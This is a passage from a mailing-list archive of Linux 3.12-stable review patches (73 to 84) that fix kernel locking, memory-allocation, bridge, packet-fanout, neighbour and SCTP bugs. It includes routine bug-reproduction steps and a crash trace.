@@ -345,129 +340,10 @@ void put_filp(struct file *file) {if (atomic_long_dec_and_test (&file->f_count)) {security_file_free (file); -file_sb_list_del (file);file_free (file); } } -static inline int file_list_cpu (struct file *file) -{ -#ifdef CONFIG_SMP -return file->f_sb_list_cpu; -#else -return smp_processor_id (); -#endif -} - -/* helper for file_sb_list_add to reduce ifdefs */ -static inline void __file_sb_list_add (struct file *file,struct super_block *sb) -{ -struct list_head *list; -#ifdef CONFIG_SMP -int cpu; - cpu =smp_processor_id (); - file->f_sb_list_cpu = cpu; - list =per_cpu_ptr (sb->s_files, cpu); -#else - list = &sb->s_files; -#endif -list_add (&file->f_u.fu_list, list); -} - -/** -* file_sb_list_add - add a file to the sb's file list -* @file: file to add -* @sb: sb to add it to -* -* Use this function to associate a file with the superblock of the inode it -* refers to. -*/ -void file_sb_list_add (struct file *file,struct super_block *sb) -{ -if (likely (!(file->f_mode &FMODE_WRITE ))) -return ; -if (!S_ISREG (file_inode (file)->i_mode)) -return ; -lg_local_lock (&files_lglock); -__file_sb_list_add (file, sb); -lg_local_unlock (&files_lglock); -} - -/** -* file_sb_list_del - remove a file from the sb's file list -* @file: file to remove -* @sb: sb to remove it from -* -* Use this function to remove a file from its superblock. -*/ -void file_sb_list_del (struct file *file) -{ -if (!list_empty (&file->f_u.fu_list)) { -lg_local_lock_cpu (&files_lglock,file_list_cpu (file)); -list_del_init (&file->f_u.fu_list); -lg_local_unlock_cpu (&files_lglock,file_list_cpu (file)); - } -} - -#ifdef CONFIG_SMP - -/* -* These macros iterate all files on all CPUs for a given superblock. -* files_lglock must be held globally. -*/ -#define do_file_list_for_each_entry (__sb, __file) \ -{ \ - int i; \ - for_each_possible_cpu(i) { \ - struct list_head *list; \ - list = per_cpu_ptr((__sb)->s_files, i); \ - list_for_each_entry((__file), list, f_u.fu_list) - -#define while_file_list_for_each_entry \ - } \ -} - -#else - -#define do_file_list_for_each_entry (__sb, __file) \ -{ \ - struct list_head *list; \ - list = &(sb)->s_files; \ - list_for_each_entry((__file), list, f_u.fu_list) - -#define while_file_list_for_each_entry \ -} - -#endif - -/** -* mark_files_ro - mark all files read-only -* @sb: superblock in question -* -* All files are marked read-only. We don't care about pending -* delete files so this should be used in 'force' mode only. -*/ -void mark_files_ro (struct super_block *sb) -{ -struct file *f; - -lg_global_lock (&files_lglock); -do_file_list_for_each_entry (sb, f) { -if (!file_count (f)) -continue ; -if (!(f->f_mode &FMODE_WRITE )) -continue ; -spin_lock (&f->f_lock); - f->f_mode &= ~FMODE_WRITE ; -spin_unlock (&f->f_lock); -if (file_check_writeable (f) !=0 ) -continue ; -__mnt_drop_write (f->f_path.mnt); -file_release_write (f); - } while_file_list_for_each_entry; -lg_global_unlock (&files_lglock); -} -void __init files_init (unsigned long mempages) {unsigned long n;
@@ -483,6 +359,5 @@ void __init files_init(unsigned long mempages) n = (mempages * (PAGE_SIZE /1024 )) /10 ; files_stat.max_files = max_t(unsigned long, n, NR_FILE);files_defer_init (); -lg_lock_init (&files_lglock,"files_lglock" );percpu_counter_init (&nr_files,0 ); }
fs/internal.h +0 -3
@@ -77,9 +77,6 @@ extern void chroot_fs_refs(const struct path *, const struct path *);/* * file_table.c */ -extern void file_sb_list_add (struct file *f,struct super_block *sb); -extern void file_sb_list_del (struct file *f); -extern void mark_files_ro (struct super_block *);extern struct file *get_empty_filp (void );/*
fs/open.c +0 -2
@@ -673,7 +673,6 @@ static int do_dentry_open(struct file *f, } f->f_mapping = inode->i_mapping; -file_sb_list_add (f, inode->i_sb);if (unlikely (f->f_mode &FMODE_PATH )) { f->f_op = &empty_fops;
@@ -708,7 +707,6 @@ static int do_dentry_open(struct file *f, cleanup_all:fops_put (f->f_op); -file_sb_list_del (f);if (f->f_mode &FMODE_WRITE ) {if (!special_file (inode->i_mode)) {/*
fs/super.c +2 -13
@@ -146,9 +146,6 @@ static void destroy_super(struct super_block *s)int i;list_lru_destroy (&s->s_dentry_lru);list_lru_destroy (&s->s_inode_lru); -#ifdef CONFIG_SMP -free_percpu (s->s_files); -#endif for (i =0 ; i <SB_FREEZE_LEVELS ; i++)percpu_counter_destroy (&s->s_writers.counter[i]);security_sb_free (s);
@@ -178,15 +175,6 @@ static struct super_block *alloc_super(struct file_system_type *type, int flags)if (security_sb_alloc (s)) goto fail; -#ifdef CONFIG_SMP - s->s_files = alloc_percpu(struct list_head); -if (!s->s_files) - goto fail; -for_each_possible_cpu (i) -INIT_LIST_HEAD (per_cpu_ptr (s->s_files, i)); -#else -INIT_LIST_HEAD (&s->s_files); -#endif for (i =0 ; i <SB_FREEZE_LEVELS ; i++) {if (percpu_counter_init (&s->s_writers.counter[i],0 ) <0 ) goto fail;
@@ -726,7 +714,8 @@ int do_remount_sb(struct super_block *sb, int flags, void *data, int force)make sure there are no rw files opened */ if (remount_ro) {if (force) { -mark_files_ro (sb); + sb->s_readonly_remount =1 ; +smp_wmb (); }else { retval =sb_prepare_remount_readonly (sb);if (retval)
include/linux/fs.h +0 -13
@@ -764,12 +764,7 @@ static inline int ra_has_index(struct file_ra_state *ra, pgoff_t index)#define FILE_MNT_WRITE_RELEASED 2struct file { -/* -* fu_list becomes invalid after file_free is called and queued via -* fu_rcuhead for RCU freeing -*/ union { -struct list_head fu_list;struct llist_node fu_llist;struct rcu_head fu_rcuhead; } f_u;
@@ -783,9 +778,6 @@ struct file {* Must not be taken from IRQ context. */ spinlock_t f_lock; -#ifdef CONFIG_SMP -int f_sb_list_cpu; -#endif atomic_long_t f_count;unsigned int f_flags;fmode_t f_mode;
@@ -1264,11 +1256,6 @@ struct super_block {struct list_head s_inodes;/* all inodes */ struct hlist_bl_head s_anon;/* anonymous dentries for (nfs) exporting */ -#ifdef CONFIG_SMP -struct list_head __percpu *s_files; -#else -struct list_head s_files; -#endif struct list_head s_mounts;/* list of mounts; _not_ for fs use */ struct block_device *s_bdev;struct backing_dev_info *s_bdi;
Signature · 1 line
2.4.6
PATCH 73/124 revert "softirq: Add support for triggering softirq work on softirqs"
In reply to Jiri SlabyFrom: Christoph Hellwig <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit fc21c0cff2f425891b28ff6fb6b03b325c977428 upstream.
This commit was incomplete in that code to remove items from the per-cpu lists was missing and never acquired a user in the 5 years it has been in the tree. We're going to implement what it seems to try to archive in a simpler way, and this code is in the way of doing so.
--- include/linux/interrupt.h | 22 -------- kernel/softirq.c | 131 ---------------------------------------------- 2 files changed, 153 deletions(-)
include/linux/interrupt.h +0 -22
@@ -11,8 +11,6 @@#include <linux/irqnr.h> #include <linux/hardirq.h> #include <linux/irqflags.h> -#include <linux/smp.h> -#include <linux/percpu.h> #include <linux/hrtimer.h> #include <linux/kref.h> #include <linux/workqueue.h>
@@ -419,15 +417,6 @@ extern void __raise_softirq_irqoff(unsigned int nr);extern void raise_softirq_irqoff (unsigned int nr);extern void raise_softirq (unsigned int nr); -/* This is the worklist that queues up per-cpu softirq work. -* -* send_remote_sendirq() adds work to these lists, and -* the softirq handler itself dequeues from them. The queues -* are protected by disabling local cpu interrupts and they must -* only be accessed by the local cpu that they are for. -*/ -DECLARE_PER_CPU(struct list_head [NR_SOFTIRQS], softirq_work_list); - DECLARE_PER_CPU(struct task_struct *, ksoftirqd);static inline struct task_struct *this_cpu_ksoftirqd (void )
@@ -435,17 +424,6 @@ static inline struct task_struct *this_cpu_ksoftirqd(void)return this_cpu_read (ksoftirqd); } -/* Try to send a softirq to a remote cpu. If this cannot be done, the -* work will be queued to the local cpu. -*/ -extern void send_remote_softirq (struct call_single_data *cp,int cpu,int softirq); - -/* Like send_remote_softirq(), but the caller must disable local cpu interrupts -* and compute the current cpu, passed in as 'this_cpu'. -*/ -extern void __send_remote_softirq (struct call_single_data *cp,int cpu, -int this_cpu,int softirq); -/* Tasklets --- multithreaded analogue of BHs. Main feature differing them of generic softirqs: tasklet
kernel/softirq.c +0 -131
154 lines not on this page · raw message
Signature · 1 line
2.4.6
PATCH 74/124 PCI: pciehp: Add hotplug_lock to serialize hotplug events
In reply to Jiri SlabyFrom: Rajat Jain <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 50b52fdee050745935d92e7026373edea2647e60 upstream.
Today it is there is no protection around pciehp_enable_slot() and pciehp_disable_slot() to ensure that they complete before another hot-plug operation can be done on that particular slot.
This patch introduces the slot->hotplug_lock to ensure that any hotplug operations (add / remove) complete before another hotplug event can begin processing on that particular slot.
--- drivers/pci/hotplug/pciehp.h | 1 + drivers/pci/hotplug/pciehp_core.c | 7 ++++++- drivers/pci/hotplug/pciehp_ctrl.c | 17 +++++++++++++++-- drivers/pci/hotplug/pciehp_hpc.c | 1 + 4 files changed, 23 insertions(+), 3 deletions(-)
drivers/pci/hotplug/pciehp.h +1 -0
@@ -77,6 +77,7 @@ struct slot {struct hotplug_slot *hotplug_slot;struct delayed_work work;/* work for button event */ struct mutex lock; +struct mutex hotplug_lock;struct workqueue_struct *wq; };
drivers/pci/hotplug/pciehp_core.c +6 -1
@@ -278,8 +278,11 @@ static int pciehp_probe(struct pcie_device *dev) slot = ctrl->slot;pciehp_get_adapter_status (slot, &occupied);pciehp_get_power_status (slot, &poweron); -if (occupied && pciehp_force) +if (occupied && pciehp_force) { +mutex_lock (&slot->hotplug_lock);pciehp_enable_slot (slot); +mutex_unlock (&slot->hotplug_lock); + }/* If empty slot's power status is on, turn power off */ if (!occupied && poweron &&POWER_CTRL (ctrl))pciehp_power_off_slot (slot);
@@ -323,10 +326,12 @@ static int pciehp_resume (struct pcie_device *dev)/* Check if slot is occupied */ pciehp_get_adapter_status (slot, &status); +mutex_lock (&slot->hotplug_lock);if (status)pciehp_enable_slot (slot);else pciehp_disable_slot (slot); +mutex_unlock (&slot->hotplug_lock); return 0; }#endif /* PM */
drivers/pci/hotplug/pciehp_ctrl.c +15 -2
@@ -290,6 +290,7 @@ static void pciehp_power_thread(struct work_struct *work)struct power_work_info *info = container_of(work, struct power_work_info, work);struct slot *p_slot = info->p_slot; +int ret;mutex_lock (&p_slot->lock);switch (p_slot->state) {
@@ -299,13 +300,18 @@ static void pciehp_power_thread(struct work_struct *work)"Disabling domain:bus:device=%04x:%02x:00\n" ,pci_domain_nr (p_slot->ctrl->pcie->port->subordinate), p_slot->ctrl->pcie->port->subordinate->number); +mutex_lock (&p_slot->hotplug_lock);pciehp_disable_slot (p_slot); +mutex_unlock (&p_slot->hotplug_lock);mutex_lock (&p_slot->lock); p_slot->state =STATIC_STATE ;break ;case POWERON_STATE :mutex_unlock (&p_slot->lock); -if (pciehp_enable_slot (p_slot) &&PWR_LED (p_slot->ctrl)) +mutex_lock (&p_slot->hotplug_lock); + ret =pciehp_enable_slot (p_slot); +mutex_unlock (&p_slot->hotplug_lock); +if (ret &&PWR_LED (p_slot->ctrl))pciehp_green_led_off (p_slot);mutex_lock (&p_slot->lock); p_slot->state =STATIC_STATE ;
@@ -476,6 +482,9 @@ static void interrupt_event_handler(struct work_struct *work)kfree (info); } +/* +* Note: This function must be called with slot->hotplug_lock held +*/ int pciehp_enable_slot (struct slot *p_slot) {u8 getstatus =0 ;
@@ -514,7 +523,9 @@ int pciehp_enable_slot(struct slot *p_slot)return rc; } - +/* +* Note: This function must be called with slot->hotplug_lock held +*/ int pciehp_disable_slot (struct slot *p_slot) {u8 getstatus =0 ;
@@ -566,7 +577,9 @@ int pciehp_sysfs_enable_slot(struct slot *p_slot)case STATIC_STATE : p_slot->state =POWERON_STATE ;mutex_unlock (&p_slot->lock); +mutex_lock (&p_slot->hotplug_lock); retval =pciehp_enable_slot (p_slot); +mutex_unlock (&p_slot->hotplug_lock);mutex_lock (&p_slot->lock); p_slot->state =STATIC_STATE ;break ;
drivers/pci/hotplug/pciehp_hpc.c +1 -0
@@ -815,6 +815,7 @@ static int pcie_init_slot(struct controller *ctrl) slot->ctrl = ctrl;mutex_init (&slot->lock); +mutex_init (&slot->hotplug_lock);INIT_DELAYED_WORK (&slot->work, pciehp_queue_pushbutton_work); ctrl->slot = slot;return 0 ;
Signature · 1 line
2.4.6
PATCH 75/124 arm64/mm: Remove hack in mmap randomize layout
In reply to Jiri SlabyFrom: Yann Droneaud <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit d6c763afab142a85e4770b4bc2a5f40f256d5c5d upstream.
Since commit 8a0a9bd4db63 ('random: make get_random_int() more random'), get_random_int() returns a random value for each call, so comment and hack introduced in mmap_rnd() as part of commit 1d18c47c735e ('arm64: MMU fault handling and page table management') are incorrects.
Commit 1d18c47c735e seems to use the same hack introduced by commit a5adc91a4b44 ('powerpc: Ensure random space between stack and mmaps'), latter copied in commit 5a0efea09f42 ('sparc64: Sharpen address space randomization calculations.').
But both architectures were cleaned up as part of commit fa8cbaaf5a68 ('powerpc+sparc64/mm: Remove hack in mmap randomize layout') as hack is no more needed since commit 8a0a9bd4db63.
So the present patch removes the comment and the hack around get_random_int() on AArch64's mmap_rnd().
--- arch/arm64/mm/mmap.c | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-)
arch/arm64/mm/mmap.c +2 -10
@@ -47,22 +47,14 @@ static int mmap_is_legacy(void)return sysctl_legacy_va_layout; } -/* -* Since get_random_int() returns the same value within a 1 jiffy window, we -* will almost always get the same randomisation for the stack and mmap -* region. This will mean the relative distance between stack and mmap will be -* the same. -* -* To avoid this we can shift the randomness by 1 bit. -*/ static unsigned long mmap_rnd (void ) {unsigned long rnd =0 ;if (current->flags &PF_RANDOMIZE ) - rnd = (long )get_random_int () & (STACK_RND_MASK >>1 ); + rnd = (long )get_random_int () &STACK_RND_MASK ; -return rnd << (PAGE_SHIFT +1 ); +return rnd <<PAGE_SHIFT ; }static unsigned long mmap_base (void )
Signature · 1 line
2.4.6
PATCH 76/124 sparc: Use GFP_ATOMIC in ldc_alloc_exp_dring() as it can be called in softirq context
In reply to Jiri SlabyFrom: Sowmini Varadhan <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 0edfad5959df7379c9e554fbe8ba264ae232d321 upstream.
Since it is possible for vnet_event_napi to end up doing vnet_control_pkt_engine -> ... -> vnet_send_attr -> vnet_port_alloc_tx_ring -> ldc_alloc_exp_dring -> kzalloc() (i.e., in softirq context), kzalloc() should be called with GFP_ATOMIC from ldc_alloc_exp_dring.
--- arch/sparc/kernel/ldc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/sparc/kernel/ldc.c +1 -1
@@ -2307,7 +2307,7 @@ void *ldc_alloc_exp_dring(struct ldc_channel *lp, unsigned int len,if (len & (8UL -1 ))return ERR_PTR (-EINVAL ); - buf =kzalloc (len,GFP_KERNEL ); + buf =kzalloc (len,GFP_ATOMIC );if (!buf)return ERR_PTR (-ENOMEM );
Signature · 1 line
2.4.6
PATCH 77/124 bridge: fix multicast router rlist endless loop
In reply to Jiri SlabyFrom: Nikolay Aleksandrov <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 1a040eaca1a22f8da8285ceda6b5e4a2cb704867 ]
Since the addition of sysfs multicast router support if one set multicast_router to "2" more than once, then the port would be added to the hlist every time and could end up linking to itself and thus causing an endless loop for rlist walkers.
So to reproduce just do:
echo 2 > multicast_router; echo 2 > multicast_router;
in a bridge port and let some igmp traffic flow, for me it hangs up in br_multicast_flood().
Fix this by adding a check in br_multicast_add_router() if the port is already linked.
The reason this didn't happen before the addition of multicast_router sysfs entries is because there's a !hlist_unhashed check that prevents it.
--- net/bridge/br_multicast.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-)
net/bridge/br_multicast.c +3 -4
@@ -1088,6 +1088,9 @@ static void br_multicast_add_router(struct net_bridge *br,struct net_bridge_port *p;struct hlist_node *slot =NULL ; +if (!hlist_unhashed (&port->rlist)) +return ; +hlist_for_each_entry (p, &br->router_list, rlist) {if ((unsigned long ) port >= (unsigned long ) p)break ;
@@ -1115,12 +1118,8 @@ static void br_multicast_mark_router(struct net_bridge *br,if (port->multicast_router !=1 )return ; -if (!hlist_unhashed (&port->rlist)) - goto timer; -br_multicast_add_router (br, port); -timer:mod_timer (&port->multicast_router_timer, now + br->multicast_querier_interval); }
Signature · 1 line
2.4.6
PATCH 78/124 net: don't wait for order-3 page allocation
In reply to Jiri SlabyFrom: Shaohua Li <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit fb05e7a89f500cfc06ae277bdc911b281928995d ]
We saw excessive direct memory compaction triggered by skb_page_frag_refill. This causes performance issues and add latency. Commit 5640f7685831e0 introduces the order-3 allocation. According to the changelog, the order-3 allocation isn't a must-have but to improve performance. But direct memory compaction has high overhead. The benefit of order-3 allocation can't compensate the overhead of direct memory compaction.
This patch makes the order-3 page allocation atomic. If there is no memory pressure and memory isn't fragmented, the alloction will still success, so we don't sacrifice the order-3 benefit here. If the atomic allocation fails, direct memory compaction will not be triggered, skb_page_frag_refill will fallback to order-0 immediately, hence the direct memory compaction overhead is avoided. In the allocation failure case, kswapd is waken up and doing compaction, so chances are allocation could success next time.
alloc_skb_with_frags is the same.
The mellanox driver does similar thing, if this is accepted, we must fix the driver too.
V3: fix the same issue in alloc_skb_with_frags as pointed out by Eric
V2: make the changelog clearer
--- net/core/skbuff.c | 4 +++- net/core/sock.c | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-)
net/core/skbuff.c +3 -1
@@ -367,9 +367,11 @@ refill:for (order =NETDEV_FRAG_PAGE_MAX_ORDER ; ;) {gfp_t gfp = gfp_mask; -if (order) +if (order) { gfp |= __GFP_COMP | __GFP_NOWARN | __GFP_NOMEMALLOC; + gfp &= ~__GFP_WAIT; + } nc->frag.page =alloc_pages (gfp, order);if (likely (nc->frag.page))break ;
net/core/sock.c +3 -1
@@ -1907,8 +1907,10 @@ bool sk_page_frag_refill(struct sock *sk, struct page_frag *pfrag) do { gfp_t gfp = sk->sk_allocation; - if (order) + if (order) { gfp |= __GFP_COMP | __GFP_NOWARN | __GFP_NORETRY; + gfp &= ~__GFP_WAIT; + } pfrag->page = alloc_pages(gfp, order); if (likely(pfrag->page)) { pfrag->offset = 0;
Signature · 1 line
2.4.6
PATCH 79/124 sctp: fix ASCONF list handling
In reply to Jiri SlabyFrom: Marcelo Ricardo Leitner <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 2d45a02d0166caf2627fe91897c6ffc3b19514c4 ]
->auto_asconf_splist is per namespace and mangled by functions like sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization.
Also, the call to inet_sk_copy_descendant() was backuping ->auto_asconf_list through the copy but was not honoring ->do_auto_asconf, which could lead to list corruption if it was different between both sockets.
This commit thus fixes the list handling by using ->addr_wq_lock spinlock to protect the list. A special handling is done upon socket creation and destruction for that. Error handlig on sctp_init_sock() will never return an error after having initialized asconf, so sctp_destroy_sock() can be called without addrq_wq_lock. The lock now will be take on sctp_close_sock(), before locking the socket, so we don't do it in inverse order compared to sctp_addr_wq_timeout_handler().
Instead of taking the lock on sctp_sock_migrate() for copying and restoring the list values, it's preferred to avoid rewritting it by implementing sctp_copy_descendant().
Issue was found with a test application that kept flipping sysctl default_auto_asconf on and off, but one could trigger it by issuing simultaneous setsockopt() calls on multiple sockets or by creating/destroying sockets fast enough. This is only triggerable locally.
--- include/net/netns/sctp.h | 1 + include/net/sctp/structs.h | 4 ++++ net/sctp/socket.c | 43 ++++++++++++++++++++++++++++++++----------- 3 files changed, 37 insertions(+), 11 deletions(-)
include/net/netns/sctp.h +1 -0
@@ -31,6 +31,7 @@ struct netns_sctp {struct list_head addr_waitq;struct timer_list addr_wq_timer;struct list_head auto_asconf_splist; +/* Lock that protects both addr_waitq and auto_asconf_splist */ spinlock_t addr_wq_lock;/* Lock that protects the local_addr_list writers */
include/net/sctp/structs.h +4 -0
@@ -220,6 +220,10 @@ struct sctp_sock {atomic_t pd_mode;/* Receive to here while partial delivery is in effect. */ struct sk_buff_head pd_lobby; + +/* These must be the last fields, as they will skipped on copies, +* like on accept and peeloff operations +*/ struct list_head auto_asconf_list;int do_auto_asconf; };
net/sctp/socket.c +32 -11
102 lines not on this page · raw message
Signature · 1 line
2.4.6
PATCH 80/124 bridge: fix br_stp_set_bridge_priority race conditions
In reply to Jiri SlabyFrom: Nikolay Aleksandrov <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 2dab80a8b486f02222a69daca6859519e05781d9 ]
After the ->set() spinlocks were removed br_stp_set_bridge_priority was left running without any protection when used via sysfs. It can race with port add/del and could result in use-after-free cases and corrupted lists. Tested by running port add/del in a loop with stp enabled while setting priority in a loop, crashes are easily reproducible.
The spinlocks around sysfs ->set() were removed in commit:14f98f258f19 ("bridge: range check STP parameters")
There's also a race condition in the netlink priority support that is fixed by this change, but it was introduced recently and the fixes tag covers it, just in case it's needed the commit is:af615762e972 ("bridge: add ageing_time, stp_state, priority over netlink")
--- net/bridge/br_ioctl.c | 2 -- net/bridge/br_stp_if.c | 4 +++- 2 files changed, 3 insertions(+), 3 deletions(-)
net/bridge/br_ioctl.c +0 -2
@@ -247,9 +247,7 @@ static int old_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd)if (!ns_capable (dev_net (dev)->user_ns,CAP_NET_ADMIN ))return -EPERM ; -spin_lock_bh (&br->lock);br_stp_set_bridge_priority (br, args[1 ]); -spin_unlock_bh (&br->lock);return 0 ;case BRCTL_SET_PORT_PRIORITY :
net/bridge/br_stp_if.c +3 -1
@@ -241,12 +241,13 @@ bool br_stp_recalculate_bridge_id(struct net_bridge *br)return true; } -/* called under bridge lock */ +/* Acquires and releases bridge lock */ void br_stp_set_bridge_priority (struct net_bridge *br,u16 newprio) {struct net_bridge_port *p;int wasroot; +spin_lock_bh (&br->lock); wasroot =br_is_root_bridge (br);list_for_each_entry (p, &br->port_list, list) {
@@ -264,6 +265,7 @@ void br_stp_set_bridge_priority(struct net_bridge *br, u16 newprio)br_port_state_selection (br);if (br_is_root_bridge (br) && !wasroot)br_become_root_bridge (br); +spin_unlock_bh (&br->lock); }/* called under bridge lock */
Signature · 1 line
2.4.6
PATCH 81/124 packet: read num_members once in packet_rcv_fanout()
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit f98f4514d07871da7a113dd9e3e330743fd70ae4 ]
We need to tell compiler it must not read f->num_members multiple times. Otherwise testing if num is not zero is flaky, and we could attempt an invalid divide by 0 in fanout_demux_cpu()
Note bug was present in packet_rcv_fanout_hash() and packet_rcv_fanout_lb() but final 3.1 had a simple location after commit 95ec3eb417115fb ("packet: Add 'cpu' fanout policy.")
--- net/packet/af_packet.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
net/packet/af_packet.c +1 -1
@@ -1224,7 +1224,7 @@ static int packet_rcv_fanout(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, struct net_device *orig_dev) { struct packet_fanout *f = pt->af_packet_priv; -unsigned int num = f->num_members; +unsigned int num =ACCESS_ONCE (f->num_members);struct packet_sock *po;unsigned int idx;
Signature · 1 line
2.4.6
PATCH 82/124 packet: avoid out of bounds read in round robin fanout
In reply to Jiri SlabyFrom: Willem de Bruijn <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 468479e6043c84f5a65299cc07cb08a22a28c2b1 ]
PACKET_FANOUT_LB computes f->rr_cur such that it is modulo f->num_members. It returns the old value unconditionally, but f->num_members may have changed since the last store. Ensure that the return value is always < num.
When modifying the logic, simplify it further by replacing the loop with an unconditional atomic increment.
--- net/packet/af_packet.c | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-)
net/packet/af_packet.c +2 -16
@@ -1150,16 +1150,6 @@ static void packet_sock_destruct(struct sock *sk)sk_refcnt_debug_dec (sk); } -static int fanout_rr_next (struct packet_fanout *f,unsigned int num) -{ -int x =atomic_read (&f->rr_cur) +1 ; - -if (x >= num) - x =0 ; - -return x; -} -static unsigned int fanout_demux_hash (struct packet_fanout *f,struct sk_buff *skb,unsigned int num)
@@ -1171,13 +1161,9 @@ static unsigned int fanout_demux_lb(struct packet_fanout *f, struct sk_buff *skb, unsigned int num) { - int cur, old; +unsigned int val =atomic_inc_return (&f->rr_cur); - cur =atomic_read (&f->rr_cur); -while ((old =atomic_cmpxchg (&f->rr_cur, cur, -fanout_rr_next (f, num))) != cur) - cur = old; -return cur; +return val % num; } static unsigned int fanout_demux_cpu(struct packet_fanout *f,
Signature · 1 line
2.4.6
PATCH 83/124 neigh: do not modify unlinked entries
In reply to Jiri SlabyFrom: Julian Anastasov <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 2c51a97f76d20ebf1f50fef908b986cb051fdff9 ]
The lockless lookups can return entry that is unlinked. Sometimes they get reference before last neigh_cleanup_and_release, sometimes they do not need reference. Later, any modification attempts may result in the following problems:
1. entry is not destroyed immediately because neigh_update can start the timer for dead entry, eg. on change to NUD_REACHABLE state. As result, entry lives for some time but is invisible and out of control.
2. __neigh_event_send can run in parallel with neigh_destroy while refcnt=0 but if timer is started and expired refcnt can reach 0 for second time leading to second neigh_destroy and possible crash.
Thanks to Eric Dumazet and Ying Xue for their work and analyze on the __neigh_event_send change.
--- net/core/neighbour.c | 11 +++++++++++ 1 file changed, 11 insertions(+)
net/core/neighbour.c +11 -0
@@ -971,6 +971,8 @@ int __neigh_event_send(struct neighbour *neigh, struct sk_buff *skb) rc =0 ;if (neigh->nud_state & (NUD_CONNECTED |NUD_DELAY |NUD_PROBE )) goto out_unlock_bh; +if (neigh->dead) + goto out_dead;if (!(neigh->nud_state & (NUD_STALE |NUD_INCOMPLETE ))) {if (neigh->parms->mcast_probes + neigh->parms->app_probes) {
@@ -1024,6 +1026,13 @@ out_unlock_bh:write_unlock (&neigh->lock);local_bh_enable ();return rc; + +out_dead: +if (neigh->nud_state &NUD_STALE ) + goto out_unlock_bh; +write_unlock_bh (&neigh->lock); +kfree_skb (skb); +return 1 ; }EXPORT_SYMBOL (__neigh_event_send);
@@ -1087,6 +1096,8 @@ int neigh_update(struct neighbour *neigh, const u8 *lladdr, u8 new,if (!(flags &NEIGH_UPDATE_F_ADMIN ) && (old & (NUD_NOARP |NUD_PERMANENT ))) goto out; +if (neigh->dead) + goto out;if (!(new &NUD_VALID )) {neigh_del_timer (neigh);
Signature · 1 line
2.4.6
PATCH 84/124 sctp: Fix race between OOTB responce and route removal
In reply to Jiri SlabyFrom: Alexander Sverdlin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 29c4afc4e98f4dc0ea9df22c631841f9c220b944 ]
There is NULL pointer dereference possible during statistics update if the route used for OOTB responce is removed at unfortunate time. If the route exists when we receive OOTB packet and we finally jump into sctp_packet_transmit() to send ABORT, but in the meantime route is removed under our feet, we take "no_route" path and try to update stats with IP_INC_STATS(sock_net(asoc->base.sk), ...).
But sctp_ootb_pkt_new() used to prepare responce packet doesn't call sctp_transport_set_owner() and therefore there is no asoc associated with this packet. Probably temporary asoc just for OOTB responces is overkill, so just introduce a check like in all other places in sctp_packet_transmit(), where "asoc" is dereferenced.
To reproduce this, one needs to
0. ensure that sctp module is loaded (otherwise ABORT is not generated)
1. remove default route on the machine
2. while true; do
ip route del [interface-specific route]
ip route add [interface-specific route]
done
3. send enough OOTB packets (i.e. HB REQs) from another host to trigger ABORT responce
On x86_64 the crash looks like this:
BUG: unable to handle kernel NULL pointer dereference at 0000000000000020 IP: [<ffffffffa05ec9ac>] sctp_packet_transmit+0x63c/0x730 [sctp] PGD 0 Oops: 0000 [#1] PREEMPT SMP Modules linked in: ... CPU: 0 PID: 0 Comm: swapper/0 Tainted: G O 4.0.5-1-ARCH #1 Hardware name: ... task: ffffffff818124c0 ti: ffffffff81800000 task.ti: ffffffff81800000 RIP: 0010:[<ffffffffa05ec9ac>] [<ffffffffa05ec9ac>] sctp_packet_transmit+0x63c/0x730 [sctp] RSP: 0018:ffff880127c037b8 EFLAGS: 00010296 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00000015ff66b480 RDX: 00000015ff66b400 RSI: ffff880127c17200 RDI: ffff880123403700 RBP: ffff880127c03888 R08: 0000000000017200 R09: ffffffff814625af R10: ffffea00047e4680 R11: 00000000ffffff80 R12: ffff8800b0d38a28 R13: ffff8800b0d38a28 R14: ffff8800b3e88000 R15: ffffffffa05f24e0 FS: 0000000000000000(0000) GS:ffff880127c00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000020 CR3: 00000000c855b000 CR4: 00000000000007f0 Stack: ffff880127c03910 ffff8800b0d38a28 ffffffff8189d240 ffff88011f91b400 ffff880127c03828 ffffffffa05c94c5 0000000000000000 ffff8800baa1c520 0000000000000000 0000000000000001 0000000000000000 0000000000000000 Call Trace: <IRQ> [<ffffffffa05c94c5>] ? sctp_sf_tabort_8_4_8.isra.20+0x85/0x140 [sctp] [<ffffffffa05d6b42>] ? sctp_transport_put+0x52/0x80 [sctp] [<ffffffffa05d0bfc>] sctp_do_sm+0xb8c/0x19a0 [sctp] [<ffffffff810b0e00>] ? trigger_load_balance+0x90/0x210 [<ffffffff810e0329>] ? update_process_times+0x59/0x60 [<ffffffff812c7a40>] ? timerqueue_add+0x60/0xb0 [<ffffffff810e0549>] ? enqueue_hrtimer+0x29/0xa0 [<ffffffff8101f599>] ? read_tsc+0x9/0x10 [<ffffffff8116d4b5>] ? put_page+0x55/0x60 [<ffffffff810ee1ad>] ? clockevents_program_event+0x6d/0x100 [<ffffffff81462b68>] ? skb_free_head+0x58/0x80 [<ffffffffa029a10b>] 